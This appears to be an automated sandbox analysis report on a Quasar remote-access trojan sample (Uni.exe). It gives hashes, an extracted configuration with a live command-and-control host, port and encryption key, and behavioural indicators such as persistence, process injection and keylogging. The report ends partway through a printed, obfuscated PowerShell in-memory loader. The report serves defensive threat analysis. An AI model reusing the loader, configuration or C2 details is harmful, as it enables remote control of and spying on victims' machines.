quasar | 00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

Analysis

max time kernel
1800s
max time network
1792s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
08-05-2024 17:28

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General

Target

Uni.exe
Size

409KB
MD5

7417c8c73e614f293152575f46134216
SHA1

cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
SHA256

00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
SHA512

897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
SSDEEP

6144:nMr2pJAJcC0B632U3GRbMfgvKFFhTEDPX1NbKoEn5MSU+h2f8/14m:LpyJcC+82U3GRGGp1M5Ys2f8/6m

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-dOMA5C0pQTTpKjVsCp

Attributes

encryption_key
UBXs44u6E81wxBGZxQHk
install_name
$sxr-powershell.exe
log_directory
$SXR-KEYLOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/3104-1-0x00000000008F0000-0x000000000095C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 5004 created 580 5004 powershell.EXE winlogon.exe
PID 4688 created 580 4688 powershell.EXE winlogon.exe
Downloads MZ/PE file

description	pid	process	target process
PID 5004 created 580	5004	powershell.EXE	winlogon.exe
PID 4688 created 580	4688	powershell.EXE	winlogon.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Executes dropped EXE 3 IoCs

Processes:

$sxr-powershell.exeinstall.exeinstall.exe

pid process

2748 $sxr-powershell.exe
1516 install.exe
4028 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

7 raw.githubusercontent.com
12 raw.githubusercontent.com
6 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

pid	process
2748	$sxr-powershell.exe
1516	install.exe
4028	install.exe

flow	ioc
7	raw.githubusercontent.com
12	raw.githubusercontent.com
6	raw.githubusercontent.com

flow	ioc
1	ip-api.com

Drops file in System32 directory 17 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exesvchost.exepowershell.EXEsvchost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$77svc64	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 5004 set thread context of 4456	5004	powershell.EXE	dllhost.exe
PID 4688 set thread context of 4612	4688	powershell.EXE	dllhost.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exeschtasks.exeschtasks.exe

pid process

4888 SCHTASKS.exe
4204 schtasks.exe
408 schtasks.exe

pid	process
4888	SCHTASKS.exe
4204	schtasks.exe
408	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEOfficeClickToRun.exepowershell.EXEsvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={68B30AEA-E7BA-4E60-8A91-D01B9BF16C6E}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715189369"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEdllhost.exepowershell.EXE$sxr-powershell.exewmiprvse.exedllhost.exe

pid	process
5004	powershell.EXE
5004	powershell.EXE
5004	powershell.EXE
5004	powershell.EXE
4456	dllhost.exe
4456	dllhost.exe
4456	dllhost.exe
4456	dllhost.exe
4688	powershell.EXE
4688	powershell.EXE
4456	dllhost.exe
4456	dllhost.exe
4688	powershell.EXE
4456	dllhost.exe
4456	dllhost.exe
4456	dllhost.exe
4456	dllhost.exe
4456	dllhost.exe
4456	dllhost.exe
4688	powershell.EXE
4456	dllhost.exe
4456	dllhost.exe
2748	$sxr-powershell.exe
4456	dllhost.exe
4456	dllhost.exe
2568	wmiprvse.exe
4456	dllhost.exe
4456	dllhost.exe
4456	dllhost.exe
4456	dllhost.exe
4688	powershell.EXE
4456	dllhost.exe
4456	dllhost.exe
4688	powershell.EXE
4612	dllhost.exe
4612	dllhost.exe
4456	dllhost.exe
4456	dllhost.exe
2748	$sxr-powershell.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
2748	$sxr-powershell.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
2568	wmiprvse.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe
4612	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exepowershell.EXEsvchost.exe

description	pid	process
Token: SeDebugPrivilege	3104	Uni.exe
Token: SeDebugPrivilege	2748	$sxr-powershell.exe
Token: SeDebugPrivilege	5004	powershell.EXE
Token: SeDebugPrivilege	5004	powershell.EXE
Token: SeDebugPrivilege	4456	dllhost.exe
Token: SeDebugPrivilege	4688	powershell.EXE
Token: SeAssignPrimaryTokenPrivilege	2732	svchost.exe
Token: SeIncreaseQuotaPrivilege	2732	svchost.exe
Token: SeSecurityPrivilege	2732	svchost.exe
Token: SeTakeOwnershipPrivilege	2732	svchost.exe
Token: SeLoadDriverPrivilege	2732	svchost.exe
Token: SeSystemtimePrivilege	2732	svchost.exe
Token: SeBackupPrivilege	2732	svchost.exe
Token: SeRestorePrivilege	2732	svchost.exe
Token: SeShutdownPrivilege	2732	svchost.exe
Token: SeSystemEnvironmentPrivilege	2732	svchost.exe
Token: SeUndockPrivilege	2732	svchost.exe
Token: SeManageVolumePrivilege	2732	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2732	svchost.exe
Token: SeIncreaseQuotaPrivilege	2732	svchost.exe
Token: SeSecurityPrivilege	2732	svchost.exe
Token: SeTakeOwnershipPrivilege	2732	svchost.exe
Token: SeLoadDriverPrivilege	2732	svchost.exe
Token: SeSystemtimePrivilege	2732	svchost.exe
Token: SeBackupPrivilege	2732	svchost.exe
Token: SeRestorePrivilege	2732	svchost.exe
Token: SeShutdownPrivilege	2732	svchost.exe
Token: SeSystemEnvironmentPrivilege	2732	svchost.exe
Token: SeUndockPrivilege	2732	svchost.exe
Token: SeManageVolumePrivilege	2732	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2732	svchost.exe
Token: SeIncreaseQuotaPrivilege	2732	svchost.exe
Token: SeSecurityPrivilege	2732	svchost.exe
Token: SeTakeOwnershipPrivilege	2732	svchost.exe
Token: SeLoadDriverPrivilege	2732	svchost.exe
Token: SeSystemtimePrivilege	2732	svchost.exe
Token: SeBackupPrivilege	2732	svchost.exe
Token: SeRestorePrivilege	2732	svchost.exe
Token: SeShutdownPrivilege	2732	svchost.exe
Token: SeSystemEnvironmentPrivilege	2732	svchost.exe
Token: SeUndockPrivilege	2732	svchost.exe
Token: SeManageVolumePrivilege	2732	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2732	svchost.exe
Token: SeIncreaseQuotaPrivilege	2732	svchost.exe
Token: SeSecurityPrivilege	2732	svchost.exe
Token: SeTakeOwnershipPrivilege	2732	svchost.exe
Token: SeLoadDriverPrivilege	2732	svchost.exe
Token: SeSystemtimePrivilege	2732	svchost.exe
Token: SeBackupPrivilege	2732	svchost.exe
Token: SeRestorePrivilege	2732	svchost.exe
Token: SeShutdownPrivilege	2732	svchost.exe
Token: SeSystemEnvironmentPrivilege	2732	svchost.exe
Token: SeUndockPrivilege	2732	svchost.exe
Token: SeManageVolumePrivilege	2732	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2732	svchost.exe
Token: SeIncreaseQuotaPrivilege	2732	svchost.exe
Token: SeSecurityPrivilege	2732	svchost.exe
Token: SeTakeOwnershipPrivilege	2732	svchost.exe
Token: SeLoadDriverPrivilege	2732	svchost.exe
Token: SeSystemtimePrivilege	2732	svchost.exe
Token: SeBackupPrivilege	2732	svchost.exe
Token: SeRestorePrivilege	2732	svchost.exe
Token: SeShutdownPrivilege	2732	svchost.exe
Token: SeSystemEnvironmentPrivilege	2732	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

2748 $sxr-powershell.exe

pid	process
2748	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exesvchost.exelsass.exe

description	pid	process	target process
PID 3104 wrote to memory of 408	3104	Uni.exe	schtasks.exe
PID 3104 wrote to memory of 408	3104	Uni.exe	schtasks.exe
PID 3104 wrote to memory of 408	3104	Uni.exe	schtasks.exe
PID 3104 wrote to memory of 2748	3104	Uni.exe	$sxr-powershell.exe
PID 3104 wrote to memory of 2748	3104	Uni.exe	$sxr-powershell.exe
PID 3104 wrote to memory of 2748	3104	Uni.exe	$sxr-powershell.exe
PID 3104 wrote to memory of 1516	3104	Uni.exe	install.exe
PID 3104 wrote to memory of 1516	3104	Uni.exe	install.exe
PID 3104 wrote to memory of 1516	3104	Uni.exe	install.exe
PID 3104 wrote to memory of 4888	3104	Uni.exe	SCHTASKS.exe
PID 3104 wrote to memory of 4888	3104	Uni.exe	SCHTASKS.exe
PID 3104 wrote to memory of 4888	3104	Uni.exe	SCHTASKS.exe
PID 2748 wrote to memory of 4204	2748	$sxr-powershell.exe	schtasks.exe
PID 2748 wrote to memory of 4204	2748	$sxr-powershell.exe	schtasks.exe
PID 2748 wrote to memory of 4204	2748	$sxr-powershell.exe	schtasks.exe
PID 5004 wrote to memory of 4456	5004	powershell.EXE	dllhost.exe
PID 5004 wrote to memory of 4456	5004	powershell.EXE	dllhost.exe
PID 5004 wrote to memory of 4456	5004	powershell.EXE	dllhost.exe
PID 5004 wrote to memory of 4456	5004	powershell.EXE	dllhost.exe
PID 5004 wrote to memory of 4456	5004	powershell.EXE	dllhost.exe
PID 5004 wrote to memory of 4456	5004	powershell.EXE	dllhost.exe
PID 5004 wrote to memory of 4456	5004	powershell.EXE	dllhost.exe
PID 5004 wrote to memory of 4456	5004	powershell.EXE	dllhost.exe
PID 2748 wrote to memory of 4028	2748	$sxr-powershell.exe	install.exe
PID 2748 wrote to memory of 4028	2748	$sxr-powershell.exe	install.exe
PID 2748 wrote to memory of 4028	2748	$sxr-powershell.exe	install.exe
PID 4456 wrote to memory of 580	4456	dllhost.exe	winlogon.exe
PID 4456 wrote to memory of 636	4456	dllhost.exe	lsass.exe
PID 4456 wrote to memory of 740	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 896	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 996	4456	dllhost.exe	dwm.exe
PID 4456 wrote to memory of 352	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 372	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 588	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1056	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1092	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1180	4456	dllhost.exe	svchost.exe
PID 1056 wrote to memory of 4688	1056	svchost.exe	powershell.EXE
PID 1056 wrote to memory of 4688	1056	svchost.exe	powershell.EXE
PID 4456 wrote to memory of 4688	4456	dllhost.exe	powershell.EXE
PID 636 wrote to memory of 2668	636	lsass.exe	sysmon.exe
PID 4456 wrote to memory of 1220	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1228	4456	dllhost.exe	svchost.exe
PID 636 wrote to memory of 2668	636	lsass.exe	sysmon.exe
PID 4456 wrote to memory of 1248	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1388	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1400	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1440	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1484	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1560	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1592	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1640	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1748	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1780	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1788	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1820	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 1932	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 2016	4456	dllhost.exe	spoolsv.exe
PID 4456 wrote to memory of 1696	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 2172	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 2408	4456	dllhost.exe	sihost.exe
PID 4456 wrote to memory of 2432	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 2440	4456	dllhost.exe	svchost.exe
PID 4456 wrote to memory of 2456	4456	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:580
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:996
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c3f115d1-2c9d-4bb1-89fe-80f850c35d88}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4456
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e2019893-afb8-471e-bf8e-0ee3d60d5c3d}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4612

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:636

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:740

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:896

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:352

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:372

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:588

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1056
- c:\windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:jbPJSzZstDIu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$RdhVmqwPfFyDgc,[Parameter(Position=1)][Type]$JxHIxBEqjd)$nZsbqJEnqnh=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+'ct'+[Char](101)+''+'d'+''+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'Me'+[Char](109)+''+'o'+''+'r'+''+[Char](121)+'M'+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+'g'+'a'+''+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+'p'+'e','C'+'l'+''+'a'+''+[Char](115)+'s,'+[Char](80)+'u'+'b'+''+[Char](108)+'i'+[Char](99)+',S'+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+'A'+[Char](110)+'si'+'C'+'l'+'a'+''+[Char](115)+''+[Char](115)+','+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+'Cl'+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$nZsbqJEnqnh.DefineConstruct